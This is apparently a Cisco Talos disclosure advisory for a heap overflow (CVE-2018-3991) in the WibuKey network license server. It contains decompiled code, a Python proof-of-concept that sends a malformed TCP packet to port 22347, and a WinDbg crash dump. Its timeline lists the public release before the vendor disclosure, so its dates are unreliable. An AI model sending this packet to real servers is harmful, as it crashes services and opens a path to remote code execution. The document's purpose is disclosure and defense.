CVE-2018-3991
An exploitable heap overflow vulnerability exists in the WkbProgramLow function of WibuKey Network server management, version 6.40.2402.500.
A specially crafted TCP packet can cause a heap overflow, potentially leading to remote code execution. An attacker can send a malformed TCP packet to trigger this vulnerability.
WIBU-SYSTEMS WibuKey Network server management 6.40.2402.500
https://www.wibu.com/products/wibukey.html
10.0 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE-122: Heap-based Buffer Overflow
WibuKey is a complete DRM solution used by many applications, such as Straton, Archicad, GRAPHISOFT, V-Ray and many more. Part of WibuKey solution is the hardware, as well as a WibuKey Runtime for Windows which contains necessary Windows drivers and services. This advisory is for a vulnerability in the network management service installed by the Windows package.
This vulnerability can be triggered by sending a TCP packet to the WibuKey Network server management server. By default, the server is running on the Windows system as a SERVICE
and listens on port 22347
.\
The vulnerability is located in the function WkbProgramLow
in WkWin32.dll
. When we take a look at how this function is called, we can see the following:
Line 1 int __stdcall sub_72709040(struct_buffer *buffer, size_t a2)
Line 2 {
Line 3 (...)
Line 4
Line 5 controlCode = buffer->controlCode;
Line 6 v6 = (struct_v6 *)a2;
Line 7 _mm_storel_epi64((__m128i *)a2, (__m128i)0i64);
Line 8 v6->controlCode = controlCode;
Line 9 result = controlCode - 16;
Line 10 switch ( result )
Line 11 {
Line 12 (...)
Line 13 case 24:
Line 14 v9 = WkbProgramLow(buffer->dword8, (int)&buffer->dwordC, &buffer->dword18, *(_DWORD *)&buffer->unsigned14);
Line 15 goto LABEL_105;
The buffer
argument contains the TCP packet sent to the server. This means that the attacker has full control over all the arguments passed to the WkbProgramLow
function.
Let’s dive into the WkbProgramLow
function:
Line 1 int __stdcall WkbProgramLow(int a1, int a2, PBYTE srcBuffer, size_t size)
Line 2 {
Line 3 struct_v5 *allocatedBuffer; // eax MAPDST
Line 4
Line 5 dword_7272550C = 0;
Line 6 allocatedBuffer = alloc_and_initialize(40, size + 24, 0);
Line 7 if ( allocatedBuffer )
Line 8 {
Line 9 *(_DWORD *)&allocatedBuffer->gap1[7] = a1;
Line 10 if ( a2 && *(_WORD *)(a2 + 4) )
Line 11 sub_7270F0C0(a2, &allocatedBuffer->gap1[11]);
Line 12 else
Line 13 _mm_storel_epi64((__m128i *)&allocatedBuffer->gap1[11], (__m128i)0i64);
Line 14 allocatedBuffer->dword14 = size;
Line 15 memmove(&allocatedBuffer->char18, srcBuffer, size);
Line 16 sub_72708940(0, &allocatedBuffer->char0, 0);
Line 17 }
Line 18 if ( !dword_7272550C )
Line 19 return 1;
Line 20 sub_7270F110(dword_7272550C);
Line 21 return 0;
Line 22 }
At line 6
, an integer overflow appears that has further consequences. Based on the result of that operation, space is allocated on the heap for allocatedBuffer
.
Having the size
set to 0xFFFFFFFFF
will result in a buffer being allocated for approximately 23 bytes, but at line 15
, size
bytes will be copied into the allocatedBuffer
causing a heap-based buffer overflow.
Taking into account that an attacker could fully control all necessary parameters and the TCP server is running with Windows SERVICE privileges, the heap corruption can be turned into a remote code execution and automatically lift the attacker’s privileges to system level.
def server_replay():
import socket
HOST = 'localhost' # The remote host
PORT = 22347 # The same port as used by the server
package = [
0xB2, 0xAA, 0xC0, 0x00, 0xAA, 0xAA, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31,
0x32, 0x33, 0x34, 0x35, 0xFF, 0xFF, 0xFF, 0xFF, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41,
0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51,
0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61,
0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71,
0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81,
0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x90, 0x91,
0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F, 0xA0, 0xA1,
0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF, 0xB0, 0xB1,
0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF, 0xC0, 0x10,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00 ]
package = "".join(package)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "Connecting..."
s.connect((HOST, PORT))
print "Sending data..."
s.settimeout(1)
package += "A"*0x6400000
s.sendall(package)
print "data sent"
data = s.recv(1024)
if len(data) > 0:
hexdump(data)
print "Closing socket.."
s.close()
except:
pass
if __name__ == "__main__":
server_replay()
0:003> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
GetUrlPageData2 (WinHttp) failed: 12029.
DUMP_CLASS: 2
DUMP_QUALIFIER: 0
FAULTING_IP:
WKWIN32!WkdVddRegister+6d5a
7271176a f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
EXCEPTION_RECORD: (.exr -1)
ExceptionAddress: 7271176a (WKWIN32!WkdVddRegister+0x00006d5a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 0041c000
Attempt to read from address 0041c000
FAULTING_THREAD: 00000d60
DEFAULT_BUCKET_ID: INVALID_POINTER_READ
PROCESS_NAME: WkSvw32.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
EXCEPTION_CODE_STR: c0000005
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 0041c000
FOLLOWUP_IP:
WKWIN32!WkdVddRegister+6d5a
7271176a f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
READ_ADDRESS: 0041c000
WATSON_BKT_PROCSTAMP: 585b6c5a
WATSON_BKT_PROCVER: 6.40.2402.500
PROCESS_VER_PRODUCT: WibuKey Software Protection & Licensing System
WATSON_BKT_MODULE: WKWIN32.dll
WATSON_BKT_MODSTAMP: 585b6bec
WATSON_BKT_MODOFFSET: 1176a
WATSON_BKT_MODVER: 6.40.2402.500
MODULE_VER_PRODUCT: WIBU-KEY Software Protection & Licensing System
BUILD_VERSION_STRING: 7601.17514.x86fre.win7sp1_rtm.101119-1850
MODLIST_WITH_TSCHKSUM_HASH: 07ce0c618ed82ce9cba96dd916c5a6ae7305b5d0
MODLIST_SHA1_HASH: 2ddb1931246ef22d4b538c8bee6f6b18629c4ea2
NTGLOBALFLAG: 400
APPLICATION_VERIFIER_FLAGS: 0
PRODUCT_TYPE: 1
SUITE_MASK: 784
DUMP_TYPE: fe
ANALYSIS_SESSION_HOST: WIN-H9KCU8KT400
ANALYSIS_SESSION_TIME: 08-30-2018 15:34:52.0479
ANALYSIS_VERSION: 10.0.15063.468 x86fre
THREAD_ATTRIBUTES:
OS_LOCALE: ENU
PROBLEM_CLASSES:
ID: [0n292]
Type: [@ACCESS_VIOLATION]
Class: Addendum
Scope: BUCKET_ID
Name: Omit
Data: Omit
PID: [Unspecified]
TID: [0xd60]
Frame: [0] : WKWIN32!WkdVddRegister
ID: [0n264]
Type: [INVALID_POINTER_READ]
Class: Primary
Scope: DEFAULT_BUCKET_ID (Failure Bucket ID prefix)
BUCKET_ID
Name: Add
Data: Omit
PID: [Unspecified]
TID: [0xd60]
Frame: [0] : WKWIN32!WkdVddRegister
BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ
PRIMARY_PROBLEM_CLASS: APPLICATION_FAULT
LAST_CONTROL_TRANSFER: from 727060ae to 7271176a
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
023fe4f8 727060ae 00384128 0038eba8 ffffffff WKWIN32!WkdVddRegister+0x6d5a
023fe510 727093ce 2d2c2b2a 0038eb9c 0038eba8 WKWIN32!WkbProgramLow+0x5e
023fe534 72707ed3 00410fc0 0041b000 72709029 WKWIN32!WkbUniversalCall+0x3de
023fe540 72709029 0000aaaa 00410fc0 0038eb90 WKWIN32!WkmQueryNetUser+0xc53
023fe554 00d9465a 0038eb90 00410fc0 4d878c34 WKWIN32!WkbUniversalCall+0x39
023fe5e0 76e22fac 00359108 00359108 76e26b90 WkSvw32+0x1465a
023fe5ec 76e26b90 00000000 003891f0 00000000 WS2_32!DSOCKET::DropDSocketReference+0xc
023fe624 00000000 003891f0 0035d840 0038eb90 WS2_32!recv+0x90
THREAD_SHA1_HASH_MOD_FUNC: d0990bc8d18193c62dd54d1df61da8d5e1462dad
THREAD_SHA1_HASH_MOD_FUNC_OFFSET: 820817a68e4fbc1cc7fc9033a7d7659d852ab2f9
THREAD_SHA1_HASH_MOD: 6ef95cadd70509e1b81c7198dc96430309c8687f
FAULT_INSTR_CODE: 17e9a4f3
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: WKWIN32!WkdVddRegister+6d5a
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: WKWIN32
IMAGE_NAME: WKWIN32.dll
DEBUG_FLR_IMAGE_TIMESTAMP: 585b6bec
STACK_COMMAND: ~3s ; kb
FAILURE_BUCKET_ID: INVALID_POINTER_READ_c0000005_WKWIN32.dll!WkdVddRegister
BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_READ_WKWIN32!WkdVddRegister+6d5a
FAILURE_EXCEPTION_CODE: c0000005
FAILURE_IMAGE_NAME: WKWIN32.dll
BUCKET_ID_IMAGE_STR: WKWIN32.dll
FAILURE_MODULE_NAME: WKWIN32
BUCKET_ID_MODULE_STR: WKWIN32
FAILURE_FUNCTION_NAME: WkdVddRegister
BUCKET_ID_FUNCTION_STR: WkdVddRegister
BUCKET_ID_OFFSET: 6d5a
BUCKET_ID_MODTIMEDATESTAMP: 585b6bec
BUCKET_ID_MODCHECKSUM: 3b46d
BUCKET_ID_MODVER_STR: 6.40.2402.500
BUCKET_ID_PREFIX_STR: APPLICATION_FAULT_INVALID_POINTER_READ_
FAILURE_PROBLEM_CLASS: APPLICATION_FAULT
FAILURE_SYMBOL_NAME: WKWIN32.dll!WkdVddRegister
WATSON_STAGEONE_URL: http://watson.microsoft.com/StageOne/WkSvw32.exe/6.40.2402.500/585b6c5a/WKWIN32.dll/6.40.2402.500/585b6bec/c0000005/0001176a.htm?Retriage=1
TARGET_TIME: 2018-08-30T13:34:56.000Z
OSBUILD: 7601
OSSERVICEPACK: 1
SERVICEPACK_NUMBER: 0
OS_REVISION: 0
OSPLATFORM_TYPE: x86
OSNAME: Windows 7
OSEDITION: Windows 7 WinNt (Service Pack 1) SingleUserTS Personal
USER_LCID: 0
OSBUILD_TIMESTAMP: 2010-11-20 13:02:55
BUILDDATESTAMP_STR: 101119-1850
BUILDLAB_STR: win7sp1_rtm
BUILDOSVER_STR: 6.1.7601.17514.x86fre.win7sp1_rtm.101119-1850
ANALYSIS_SESSION_ELAPSED_TIME: 5ffa
ANALYSIS_SOURCE: UM
FAILURE_ID_HASH_STRING: um:invalid_pointer_read_c0000005_wkwin32.dll!wkdvddregister
FAILURE_ID_HASH: {cf9b5e1a-86d6-16e6-bc82-79b13331a1b2}
Followup: MachineOwner
---------
2018-09-14 - Vendor Disclosure
2018-12-19 - Vendor Patch
2018-01-28 - Public Release
Marcin 'Icewall' Noga of Cisco Talos.